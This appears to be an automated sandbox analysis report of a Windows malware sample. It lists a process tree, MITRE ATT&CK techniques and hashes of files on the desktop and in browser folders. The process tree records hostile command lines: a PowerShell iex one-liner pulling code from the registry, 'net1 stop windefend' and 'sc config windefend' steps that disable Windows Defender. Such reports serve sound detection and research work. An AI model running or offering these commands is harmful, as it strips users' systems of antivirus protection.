C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}1⤵
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" qc windefend2⤵
- Launches sc.exe
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"2⤵
-
C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe" /groups2⤵
-
C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" stop windefend2⤵
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE2⤵
- Launches sc.exe
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
2Windows Service
2Boot or Logon Autostart Execution
4Registry Run Keys / Startup Folder
3Winlogon Helper DLL
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
4Registry Run Keys / Startup Folder
3Winlogon Helper DLL
1Scheduled Task/Job
1Defense Evasion
Modify Registry
11Impair Defenses
2Disable or Modify Tools
2Abuse Elevation Control Mechanism
1Bypass User Account Control
1Scripting
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\USERS\ADMIN\DESKTOP\ADDCONVERTFROM.TIFFilesize
375KB
MD534faf8cedec1eac62d8179064ba2b295
SHA1598d95855fd267132f5d426b47138ee6b5ea4cfc
SHA25602cb8972809ec6d8f51e8b657a91b1e21a2b4aaff3df65d4d7d91a623c2edc4a
SHA51215e22004254606eaa57110d3259b5327db55d58c0b354445b6577f50878eb972bfa077250d74f001c5b39e73a3dcaa3fd0c558003af2aeed869964b3262b19d3
-
C:\USERS\ADMIN\DESKTOP\ADDOUT.CMDFilesize
266KB
MD5ebeaf30210653081445d0558ff1dd606
SHA1e94b0dd43ba050de640cd37a51a8662d1697a8e8
SHA2561597896741f1f0e4b472accb93b8beedfb424183b930c2c6052f2daa547cdf48
SHA5126a3947a29575f0168978d2482a41c9c06ba0e34d66668a8ae1fff3a4f566f70f0382ca8936d918bd4538a59ba67e65d6400456c74acf4577f93c10a36be8aee8
-
C:\USERS\ADMIN\DESKTOP\CHECKPOINTREQUEST.RLEFilesize
278KB
MD53d944d5b4f79be73d04e1a7ba38782eb
SHA1dfa62cf9fdd4f78548aefafa022cbaac0b8c9d8c
SHA2564b4e467860c2ce8749ea5958d72773df8d8da7c15d6433081d51f9103f77350c
SHA512294c826c7d5fb768f036db65003d5ce53ef5beabe9d57e674aa9be0b76410ca0a70200ed67496648f24c0c8aab7a4966db2a50dfba3ee7dc45bcb19c562504c0
-
C:\USERS\ADMIN\DESKTOP\COMPLETEDISABLE.HTMFilesize
193KB
MD5916581a2712e4a116b2e946d34d51416
SHA170d604207df3f2d44ef1996b8304b44a9e374fc5
SHA256551870e63cf7a973cf01520f283cbba65ef9d86a16cfa3f6235df4748b136573
SHA512a02ea4794eda3e9598c3539e316f2e17dfe7a2b2846cc277ebd70a7316727dcf9870912f690b53565f203d6096483d681cb2fa0b7f88cdd9e12bb576e45d1ed6
-
C:\USERS\ADMIN\DESKTOP\CONVERTFROMRESUME.AACFilesize
230KB
MD5e761ca2c230ba16872011f426c821dd5
SHA198adcbe3e12700649dfd4206f26f54e88c0e2768
SHA256f6eefa75eaea35cc519a97a75776802c0adcc092ea675d46a839896a49ed8123
SHA5122b426e932d14ec1266c742a7d46b16bfe9c82bde2235f4e46199bc15baea98a8df205b6f71f5ad41c37d83f1a02fe77daab74fa2cbe27b9b4c695a330b5d98c4
-
C:\USERS\ADMIN\DESKTOP\DENYWRITE.EPSFilesize
206KB
MD58243aaab9dca8fa1ac0b129f5e0ac28b
SHA1dd5d3a991a9c657ba68dffaab3e32254f9a81800
SHA256170e4378385b98933902eb7ff036b85f239ebb013591b29fec0a3b9deff00956
SHA51232233f3546c2fc13dee22a3d1f4e071f4d2b4a7f7a13cdd5ccaa1ede702cf400837e88221524e8d41907d7b7792b5da9c5490e4b52c75da71e815d7f1d9ee508
-
C:\USERS\ADMIN\DESKTOP\DISCONNECTUNPROTECT.PPTFilesize
412KB
MD5934e1e6f618b6e1b4f3a518215588c41
SHA1c9581c4e14d19abc514152d9240d8f5f138329f8
SHA256e4c8dea1625e76b95403615a5704191e6d272832f7322c1931da65be4802e982
SHA5128097a63374f906efb742c22a403911553a82deb7a4f6391a4a685c0e2420e200f26ae09d31344539a593199d11026075a59e957382eabb711e3ae8d2b4eb9a30
-
C:\USERS\ADMIN\DESKTOP\EDITSTOP.DIBFilesize
302KB
MD58393f35ca77461dfa37a3ed98f8106a4
SHA1bff6aa3120f93a58252b3e2f9b33bbb12993b198
SHA256ed4643c5f298c7b87bc11b831b3282a18205486855f8c7b52a46d43eb3847e27
SHA51259caa8c0784e451a91121c295de08342e6090965da2e8c1cf5bb44f20a6a5d599e6c34566c2f5e9150ad53d9fb827b7e9502d8f72677a3ef8ec420034304adc4
-
C:\USERS\ADMIN\DESKTOP\EXPORTPOP.M2TSFilesize
436KB
MD5deeecd5dc9f28fb5a5511de2e3822d7d
SHA1f81122ca0812af49095ae74add18c17d15eaa65a
SHA25697a32f6a8601b4cb896c165bd541dcea4132c9435c4a27472f60c0d841e01ea9
SHA512dcf7f13c9f9c40f7c5fb663c63bd00527385f76365cb78c37bf6be7f31a8490505b6fd6af9410b8fc6b32534f6b84bf12485c357c878ed45af90c4c17a38b1d4
-
C:\USERS\ADMIN\DESKTOP\GETUSE.TMPFilesize
169KB
MD5df456453f3550e64987367703d71b97c
SHA1a77fcb9b31cd54228fd155a8baea6fbde8ebf3e1
SHA256f51022bb3982adf0b99a1aa1d16b0ef709c33c032e4204db6286c98b787aeb9b
SHA51205db8aeb9d8c06e17425f6909604c412a2bf17f80a42b98144503ad2fcbee6d14848b61efffe02b8414d68b2ef689bbdfe24d8bfa2bff0def4c1f9ba7ef4c29a
-
C:\USERS\ADMIN\DESKTOP\IMPORTGET.CABFilesize
339KB
MD54a12f81c90bbd28330738f1cd36cde76
SHA1f945c7dcd954b271429daecc561ba5a15a031f7b
SHA2564cc1d6701cd3e5bd4d734b5a51c0d153518042bbd199bee1643237932867181e
SHA51278ba41ccfdf511f94ed83243d08dc7c5b5ceb928dfbba0d271e625dd51f1d35a7c2d2c5d998a1a56a535e9527b140bca86d80c894ec2cd2a53320805db0a0c77
-
C:\USERS\ADMIN\DESKTOP\OUTOPEN.BINFilesize
218KB
MD579ce64ed449ebb045938e3764b3d2284
SHA1e8f4fba7846d1afab3f9daccb2355a0da87ddbe5
SHA25677aae3e099a0fc23bd6de65abddcfa5730ad20a3c522ec452ec02939c11e695d
SHA512851a6ab7558f436bb621ace4a63ec1da5eb6c271c8ea9a91891c1fd3ec30cebba559cd96aa40294e1d8f88c3a588f3d371bcd64c526b59c41968145339a6ebe8
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent StateFilesize
1KB
MD5ee779b9326161858349637abe8dba8a9
SHA1f34cc65e43e1190c39167befd0116b3189966f7d
SHA25621b6e1f24840b229140a2fb9d50a7b9747a9abb10c0c7d86134aebd68e0e51d4
SHA512f94ea87b5c4a78d7db019e6395d23e6684d6cf1757be0f1e1f12b45a0c8355153086f27ca064685f3f1b4fbad91a2d0cc655d983d631633b4f01adc95f313ca9
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
6KB
MD540293c4bf84a3494d95204b5162f953b
SHA16f8a7202603e82583a9292c972cca254f2818367
SHA2569b4508c4f989de48c3c978e8ec45578f1609d0963c23037ce541055e8219e202
SHA512c21d5c0ba2768cd73c9d5bedfb87049f89b371ac93a4c5551971107abd5f6544fca4cbab084706ee79325d58d938da78055f2a11a601cf97ac168e5273324ce1
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
102KB
MD59c66b69a10b030ee7468269024db0b01
SHA1f77414d46c0155f621fa7d656dceae638365e7b6
SHA2560a1e3453b5e7791f017272abfd753d11fdd07a2ca67b087ba748a3957dcad7a7
SHA512d5ef92e1ea93dd92ea87ce56734419703d4e93ba6ab2ec4cddf4282cb8501efab4859e272e931b1c1e85a2ff31591de923deb43b5846b9aefd577ef4bbc9ae5d
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
102KB
MD59c66b69a10b030ee7468269024db0b01
SHA1f77414d46c0155f621fa7d656dceae638365e7b6
SHA2560a1e3453b5e7791f017272abfd753d11fdd07a2ca67b087ba748a3957dcad7a7
SHA512d5ef92e1ea93dd92ea87ce56734419703d4e93ba6ab2ec4cddf4282cb8501efab4859e272e931b1c1e85a2ff31591de923deb43b5846b9aefd577ef4bbc9ae5d
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.jsonFilesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\DLLRuntime.logFilesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadataFilesize
150B
MD516de04a6e474ae1b3f36181beaf44791
SHA1f3f42b025e0ee8e14a3bfbe88169640a6c0d4777
SHA256285bd32ee94caeb6155ef859451a0c449a019c41bf25a959b124a13179dd550e
SHA51264020a0e6ddf34a60b2c68d0a59c4904d38e83a751c4e207c271c4febb583a3136b2d5c970fbd1fa865b2a3211024c6c61649beb57424818dd72d053484cec8a
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadataFilesize
418B
MD541f0e06d8798c762fde102cd694ffb69
SHA13935535954c31b50f10d2e3b1828e3f4edfbab38
SHA256204f255d3580b5efcffddaa41fb3b6c61eaaad6f835e4c0de01db6363835d22a
SHA512f1ef6166ffac61f9714e4ae43f328b8d733bb2df48830110e6466b18aedcdb460dada66aeb4e8830462bcf57b5ba86e097cb3b138583f811517bccd2ae015a85
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadataFilesize
686B
MD5781dea2c3728103e3e0eaa7b1f7c4803
SHA1c5c3dad745de79ef88304c8a4ad1b91eb3c881ec
SHA2561678fb3ac463497ebddfb9380c809967b3d9106c0904f9a0aa34c4e168fa8102
SHA512fc9d9862b42c7f2fa9e6097611aa12de96e044d980a9b8c66f5c20923eb4354c69f7538c20aa119949abb738de1c5f8dc0aaf8a59b5b81b838176b27ca192874
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadataFilesize
954B
MD5bfde7d6c9ca45af434914c075fb37033
SHA12e8512b55e5386cddd09a0ca45523dd863592567
SHA256558d63f28ed709c22f66ce32add0a85a7e0b90b323bb707cfcdbd8f35a214799
SHA5127bb07f76c34752c74e9c916df5f0a0d94e6777713dbe4567df6d6f9c8b1e8d7f0d7ef5741f7298ff5edd394e79d4511a3ee6f475d2f4a47cd617a8c8d91b420d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\13123114-89f4-4499-bafe-7d5151392601.dmpFilesize
6.1MB
MD5677d2c622668fc26c2bd63f50bf883d6
SHA1d11a8d8d825ae4d3e782e85b6729118d3ec95969
SHA256350b496ed7869ac69bd07ddea6c1696ce8e27fa858f4dbd8145063d5cdd3c123
SHA512e9f154cb60a3c53797fc9cc522ff47e3ed9f8ee94e2815943e0057c3743ccabc24ad4f9c315e1afb00a19d3852eb3b4025711cbcc487c36a1364965f12fe0bd3
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\4b4d85f6-2436-414d-b6b9-ebd14b7b3985.dmpFilesize
842KB
MD5445c212709eb736abd50cfe09f0bf076
SHA10bbafd6f1084351c5f907d574d99ca84fa445926
SHA256c96ce0244d004a3a1acbe5d0aeacdf4803dffaab7b18c3f1df87ed40ad9bdaa5
SHA512e88584247b431d4c8cdbcaeef053dda9ea44f0728828df32a69214c2d03b85374a623468eca22c610e4897d88c1ecedfaafbb2ac5d32008c5bb055a4eb9fccbb
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\72d039a9-b4f7-48ba-b5a3-13292ee79093.dmpFilesize
842KB
MD5ecb767f20816314764d8a3365454f5f6
SHA1d5b77d82366a9e21e08df9935da6fe1908278bfd
SHA25680e6f9fbcadc84bd4ce929592708b6adcebc719cf163c79ae25a27da28b3c177
SHA512de65439289dd18d54aa93dff7eee07691987ed6063804d723f486bd1e20ca12ca390bb467a229615e8b7faed5a145e0ed72810695ace02af07d070a655cdfbfb
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\94ae24ca-bc32-463d-a35e-3525a4a991ad.dmpFilesize
842KB
MD5f6a5df208662c5e8d4e47c2d09093f19
SHA108868d66d8c9bf38489772ec5e75c509c8bedc39
SHA2560beffb454bead3659880c76271562625894354d3e72a27708bd927082e5d7c86
SHA51271e7d22f60f923bc2960a784c2f5abf6271633d91a21df752c6dd326f901b199d0bd116171dee2c40640ca8c35fb2de2ed3ccd3a8e5175252c5529bf655a441a
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\dac56f55-503e-46b7-8f95-8cc6916aadbd.dmpFilesize
842KB
MD554411a69223db702e66348a7ebfedd22
SHA13fa92230994724aef4fa5a353b019b158da106a4
SHA2567b102ebbd83aa3292f07eab964c111ef60b733d9bb637c740630f375662e78a8
SHA51206e06a28b11e97eccabd5ac480b0b83363075a5cdbbda798238c31bea85b6f6f23ec1ae0df8904d42eaf5537c83cce06ce47785b87771d44ec250fd3f3f770ca
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\f8196ac9-28bd-470b-ae51-b5b06210b19f.dmpFilesize
842KB
MD5cd934fa5d816ca4ba9c06d676b5cfd90
SHA15084b0b5fd2ec2327627a4ba15c13903bbc94ea9
SHA2565c2dae227a3fc4bc4a3304e436fe5759268433ae692be3e226335901200ec746
SHA51289e5ba0878e61c022596d8455f8fd627146fb5fc70c8b717c6322b3642ee8b0766fe1108a56a7bfa7b154687534db9b27faed49bc0d7fd1b3ff7f7a55065e301
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\feba899d-2e60-4547-ac6d-cc8b49c99586.dmpFilesize
842KB
MD54683b4acc811cfa0032d98d9f14988a8
SHA1a8e2b0b3522f7454ea28d4585de557b75a2be2c8
SHA256366d6f60c7a8d0acab7fcdb2b0534308201eb5c670972e7ee63256d5dcdcce13
SHA5126b6820460010d986c6d5304e433669640c933a745e23415c30b21038a99338cd4ea05b31325e243727f78ab14ffd14d5c86a09e4630486daf820bf6b6e082ead
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.datFilesize
152B
MD5696e6aedcb30e4231d2f01ab3436f7e6
SHA169c93c3d49d8f2edc8fdd2653f76609f617c0d47
SHA2562226841b5fc1971aeaecbe1a229edf8d074f45012052bc11866f6b1610884e9d
SHA5125fb3d33a21d1fb65d7c5f7d7debfd0094efe3546aa364626829e6124c8da84f730761ec1ea4ab844131d53e88487cf69baf24cb3ab9e310c3b0a89d17c940dfe
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.datFilesize
152B
MD52a6ac12ba5d15fd6a93b39e7938c1620
SHA17cd796abbc64a98b8138d54effdd8be3f319fd9d
SHA2569b04799effcfb22fb9756e81a113e28540266b8ae2121656de54e1de5c1c645b
SHA512f744f9e7bbb05869599eb7be90f61a386308853e17840006f3e5cfc6fc1097d29d6a2c79594fe7a61f52e731f9e61da100ec1cc128f4a95a5f6c15ad458ee52d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.datFilesize
152B
MD516dc6ab0bfef34f856956bdfd08158ca
SHA13df7fa3b53c007d879eeb896e24035861f1ca5fe
SHA2568882a5ad76455f54e9b86d6d4c976e451934a1e2d20e4534dc15a9d567a0b377
SHA51299812d9833b1875b0ace9087b09b7a38c58d7671b644f3e3bfca1e6b097c4f3dc8132e1904a0b2d058a2c64a22040bf1f6836f7194f041fb490033db1aa68cb1
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.datFilesize
152B
MD5d7b8488e2e302c033d1849904e9d5d47
SHA1feccabab985c7511c6c07964d06401601a3ac19b
SHA25671c931d68ba7283db0a415d0778a111bfd80c5dd29723253130816388785a74c
SHA5126df607cc239439889e0d557af61d38a677521b09a5db5af52a17ee5f2953679600016c2825a5e1a0b0aaf25a31a90616a82d50187db57a99d9a38a33b682c9ab
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.datFilesize
152B
MD50e86ddb8f48564e334572ed13ec694f9
SHA1ff3d0d862bef4f572f51357b22c93e05a23859fc
SHA256095b1bfb3b2e167955a3a50cf054c5e2a3a66b835865ca1001a7d23e0e4f6484
SHA512421171c82487c59b2fb7f2bfcade964ea36727501f5b068e16952e02031866c9751f525c66b202df10e665e6b468708cb707cf4b645b0acae3b60178e0cec4b6
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\487e61e8-1f50-4617-ab52-5cd625574aff.tmpFilesize
1B
MD55058f1af8388633f609cadb75a75dc9d
SHA13a52ce780950d4d969792a2559cd519d7ee8c727
SHA256cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA5120b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\PreferencesFilesize
6KB
MD5dd1c8ef7d708da19198fef8df3c75241
SHA1a783c3d90690a208dc9079fe0707817bfe4eafde
